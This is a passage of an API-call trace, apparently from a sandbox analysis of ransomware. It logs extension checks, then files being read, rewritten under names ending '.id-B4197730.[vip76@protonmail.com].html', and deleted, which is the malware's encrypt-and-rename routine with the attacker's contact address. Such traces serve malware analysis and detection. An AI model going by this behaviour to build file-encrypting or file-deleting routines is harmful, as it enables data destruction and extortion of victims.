	[0062.562] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.562] lstrlenW (lpString=".xlsx") returned 5
	[0062.562] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.562] lstrlenW (lpString=".ppt") returned 4
	[0062.562] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.562] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0062.562] lstrlenW (lpString=".zip") returned 4
	[0062.562] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.562] lstrlenW (lpString=".rar") returned 4
	[0062.562] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.562] lstrlenW (lpString=".bz2") returned 4
	[0062.562] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.562] lstrlenW (lpString=".7z") returned 3
	[0062.562] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.562] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0062.562] lstrlenW (lpString=".dbf") returned 4
	[0062.562] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.563] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0062.563] lstrlenW (lpString=".1cd") returned 4
	[0062.563] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.563] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0062.563] lstrlenW (lpString=".jpg") returned 4
	[0062.563] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.563] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0062.563] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0062.563] lstrlenW (lpString=".doc") returned 4
	[0062.563] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.563] lstrlenW (lpString=".docx") returned 5
	[0062.563] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.563] lstrlenW (lpString=".pdf") returned 4
	[0062.563] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.563] lstrlenW (lpString=".xls") returned 4
	[0062.563] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.563] lstrlenW (lpString=".xlsx") returned 5
	[0062.563] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.563] lstrlenW (lpString=".ppt") returned 4
	[0062.563] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.563] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0062.563] lstrlenW (lpString=".zip") returned 4
	[0062.563] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.563] lstrlenW (lpString=".rar") returned 4
	[0062.563] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.563] lstrlenW (lpString=".bz2") returned 4
	[0062.563] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.563] lstrlenW (lpString=".7z") returned 3
	[0062.563] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.563] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0062.564] lstrlenW (lpString=".dbf") returned 4
	[0062.564] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.564] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0062.564] lstrlenW (lpString=".1cd") returned 4
	[0062.564] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.564] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0062.564] lstrlenW (lpString=".jpg") returned 4
	[0062.564] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.564] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0062.564] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0062.564] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0062.564] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=77680) returned 1
	[0062.564] CloseHandle (hObject=0x350) returned 1
	[0062.564] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 0x80
	[0062.564] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.565] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0062.565] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.565] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.565] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0062.565] GetLastError () returned 0x0
	[0062.565] ReadFile (in: hFile=0x350, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x12f70, lpOverlapped=0x0) returned 1
	[0062.902] WriteFile (in: hFile=0x358, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x12f80, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x12f80, lpOverlapped=0x0) returned 1
	[0062.905] ReadFile (in: hFile=0x350, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.905] WriteFile (in: hFile=0x358, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0062.905] SetEndOfFile (hFile=0x358) returned 1
	[0062.905] CloseHandle (hObject=0x358) returned 1
	[0062.907] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.907] SetEndOfFile (hFile=0x350) returned 1
	[0062.909] CloseHandle (hObject=0x350) returned 1
	[0062.909] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.909] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 1
	[0062.910] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0062.910] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0062.910] lstrlenW (lpString=".doc") returned 4
	[0062.910] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.910] lstrlenW (lpString=".docx") returned 5
	[0062.910] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.910] lstrlenW (lpString=".pdf") returned 4
	[0062.910] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.910] lstrlenW (lpString=".xls") returned 4
	[0062.910] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.910] lstrlenW (lpString=".xlsx") returned 5
	[0062.910] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.910] lstrlenW (lpString=".ppt") returned 4
	[0062.910] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.910] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0062.910] lstrlenW (lpString=".zip") returned 4
	[0062.910] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.910] lstrlenW (lpString=".rar") returned 4
	[0062.910] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.910] lstrlenW (lpString=".bz2") returned 4
	[0062.910] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.910] lstrlenW (lpString=".7z") returned 3
	[0062.910] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.910] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0062.910] lstrlenW (lpString=".dbf") returned 4
	[0062.911] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0062.911] lstrlenW (lpString=".1cd") returned 4
	[0062.911] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0062.911] lstrlenW (lpString=".jpg") returned 4
	[0062.911] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0062.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0062.911] lstrlenW (lpString=".doc") returned 4
	[0062.911] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.911] lstrlenW (lpString=".docx") returned 5
	[0062.911] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.911] lstrlenW (lpString=".pdf") returned 4
	[0062.911] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.911] lstrlenW (lpString=".xls") returned 4
	[0062.911] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.911] lstrlenW (lpString=".xlsx") returned 5
	[0062.911] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.911] lstrlenW (lpString=".ppt") returned 4
	[0062.911] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0062.911] lstrlenW (lpString=".zip") returned 4
	[0062.911] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.911] lstrlenW (lpString=".rar") returned 4
	[0062.911] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.912] lstrlenW (lpString=".bz2") returned 4
	[0062.912] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.912] lstrlenW (lpString=".7z") returned 3
	[0062.912] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.912] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0062.912] lstrlenW (lpString=".dbf") returned 4
	[0062.912] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.912] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0062.912] lstrlenW (lpString=".1cd") returned 4
	[0062.912] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.912] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0062.912] lstrlenW (lpString=".jpg") returned 4
	[0062.912] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.912] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0062.912] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0062.912] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0062.913] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=79996) returned 1
	[0062.913] CloseHandle (hObject=0x350) returned 1
	[0062.913] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 0x80
	[0062.913] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.913] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0062.914] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.914] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.914] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0062.914] GetLastError () returned 0x0
	[0062.914] ReadFile (in: hFile=0x350, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x1387c, lpOverlapped=0x0) returned 1
	[0062.919] WriteFile (in: hFile=0x358, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x13880, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x13880, lpOverlapped=0x0) returned 1
	[0062.922] ReadFile (in: hFile=0x350, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.923] WriteFile (in: hFile=0x358, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0062.923] SetEndOfFile (hFile=0x358) returned 1
	[0062.923] CloseHandle (hObject=0x358) returned 1
	[0062.926] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.926] SetEndOfFile (hFile=0x350) returned 1
	[0062.927] CloseHandle (hObject=0x350) returned 1
	[0062.927] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.928] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 1
	[0062.928] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0062.928] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0062.928] lstrlenW (lpString=".doc") returned 4
	[0062.928] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.928] lstrlenW (lpString=".docx") returned 5
	[0062.928] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.928] lstrlenW (lpString=".pdf") returned 4
	[0062.928] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.928] lstrlenW (lpString=".xls") returned 4
	[0062.929] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.929] lstrlenW (lpString=".xlsx") returned 5
	[0062.929] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.929] lstrlenW (lpString=".ppt") returned 4
	[0062.929] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.929] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0062.929] lstrlenW (lpString=".zip") returned 4
	[0062.929] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.929] lstrlenW (lpString=".rar") returned 4
	[0062.929] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.929] lstrlenW (lpString=".bz2") returned 4
	[0062.929] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.929] lstrlenW (lpString=".7z") returned 3
	[0062.929] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.929] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0062.929] lstrlenW (lpString=".dbf") returned 4
	[0062.929] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.929] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0062.929] lstrlenW (lpString=".1cd") returned 4
	[0062.929] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.929] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0062.929] lstrlenW (lpString=".jpg") returned 4
	[0062.929] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.929] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0062.929] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0062.929] lstrlenW (lpString=".doc") returned 4
	[0062.929] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.930] lstrlenW (lpString=".docx") returned 5
	[0062.930] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.930] lstrlenW (lpString=".pdf") returned 4
	[0062.930] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.930] lstrlenW (lpString=".xls") returned 4
	[0062.930] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.930] lstrlenW (lpString=".xlsx") returned 5
	[0062.930] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.930] lstrlenW (lpString=".ppt") returned 4
	[0062.930] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0062.930] lstrlenW (lpString=".zip") returned 4
	[0062.930] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.930] lstrlenW (lpString=".rar") returned 4
	[0062.930] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.930] lstrlenW (lpString=".bz2") returned 4
	[0062.930] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.930] lstrlenW (lpString=".7z") returned 3
	[0062.930] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0062.930] lstrlenW (lpString=".dbf") returned 4
	[0062.930] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0062.930] lstrlenW (lpString=".1cd") returned 4
	[0062.930] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0062.930] lstrlenW (lpString=".jpg") returned 4
	[0062.930] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.931] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0062.964] lstrlenW (lpString="Parameterinfo.xml") returned 17
	[0062.964] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0062.965] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=201796) returned 1
	[0062.965] CloseHandle (hObject=0x350) returned 1
	[0062.965] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 0x80
	[0062.965] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.965] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0062.965] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.966] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.966] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0062.966] GetLastError () returned 0x0
	[0062.966] ReadFile (in: hFile=0x350, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x31444, lpOverlapped=0x0) returned 1
	[0063.720] WriteFile (in: hFile=0x358, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x31450, lpOverlapped=0x0) returned 1
	[0063.725] ReadFile (in: hFile=0x350, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0063.725] WriteFile (in: hFile=0x358, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0063.726] SetEndOfFile (hFile=0x358) returned 1
	[0063.726] CloseHandle (hObject=0x358) returned 1
	[0063.733] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.733] SetEndOfFile (hFile=0x350) returned 1
	[0063.736] CloseHandle (hObject=0x350) returned 1
	[0063.736] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0063.737] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 1
	[0063.737] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0063.737] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0063.737] lstrlenW (lpString=".doc") returned 4
	[0063.737] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0063.737] lstrlenW (lpString=".docx") returned 5
	[0063.737] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0063.737] lstrlenW (lpString=".pdf") returned 4
	[0063.737] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0063.737] lstrlenW (lpString=".xls") returned 4
	[0063.737] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0063.737] lstrlenW (lpString=".xlsx") returned 5
	[0063.738] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0063.738] lstrlenW (lpString=".ppt") returned 4
	[0063.738] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0063.738] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0063.738] lstrlenW (lpString=".zip") returned 4
	[0063.738] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0063.738] lstrlenW (lpString=".rar") returned 4
	[0063.738] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0063.738] lstrlenW (lpString=".bz2") returned 4
	[0063.738] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0063.738] lstrlenW (lpString=".7z") returned 3
	[0063.738] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0063.738] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0063.738] lstrlenW (lpString=".dbf") returned 4
	[0063.738] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0063.738] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0063.738] lstrlenW (lpString=".1cd") returned 4
	[0063.738] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0063.738] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0063.738] lstrlenW (lpString=".jpg") returned 4
	[0063.738] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0063.738] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0063.738] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0063.738] lstrlenW (lpString=".doc") returned 4
	[0063.738] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0063.738] lstrlenW (lpString=".docx") returned 5
	[0063.739] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0063.739] lstrlenW (lpString=".pdf") returned 4
	[0063.739] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0063.739] lstrlenW (lpString=".xls") returned 4
	[0063.739] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0063.739] lstrlenW (lpString=".xlsx") returned 5
	[0063.739] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0063.739] lstrlenW (lpString=".ppt") returned 4
